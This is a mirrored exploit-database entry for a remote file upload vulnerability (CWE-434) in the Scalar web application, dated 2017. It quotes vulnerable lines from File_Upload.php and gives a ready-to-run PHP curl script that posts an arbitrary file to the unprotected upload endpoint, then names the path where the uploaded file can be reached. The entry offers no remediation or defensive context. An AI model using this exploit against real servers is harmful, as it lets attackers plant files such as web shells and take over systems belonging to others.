Scalar - Remote File Upload Vulnerability

CVE	Category	Price	Severity
N/A	CWE-434: Unrestricted Upload of File with Dangerous Type	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2017-04-08

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017040034

Below is a copy:

Scalar - Remote File Upload Vulnerability[-] Title  : Scalar - Remote File Upload Vulnerability
[-] Author : Shahab Shamsi
[-] Vendor : http://scalar.usc.edu/scalar/
[-] Vendor1: https://github.com/anvc/scalar
[-] Category : Webapps
[-] Date : 07.April.2017


Vulnerable page :
/scalar/system/application/libraries/File_Upload.php


Vulnerable Source:
59: unlink($targetFile); 
54: $targetFile = $targetPath . '/' . $targetName; 
50: $targetPath = confirm_slash(FCPATH) . confirm_slash($slug) . 'media'; 
47: function uploadpagethumb($slug, $chmodMode)
53: $targetName = substr_replace($name, "_thumb", strrpos($name, "."), 0); 
51: $name = $_FILES['source_file']['name']; 
51: $name = $_FILES['source_file']['name']; 



Exploit :
<?php
$uploadfile="YourFileName";
$ch = curl_init("http://localhost:8282/scalar/system/application/libraries/File_Upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('source_file'=>"@$uploadfile"));
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
print "$result";
?>


Location :
http://localhost:8282/scalar/media/YourFileName


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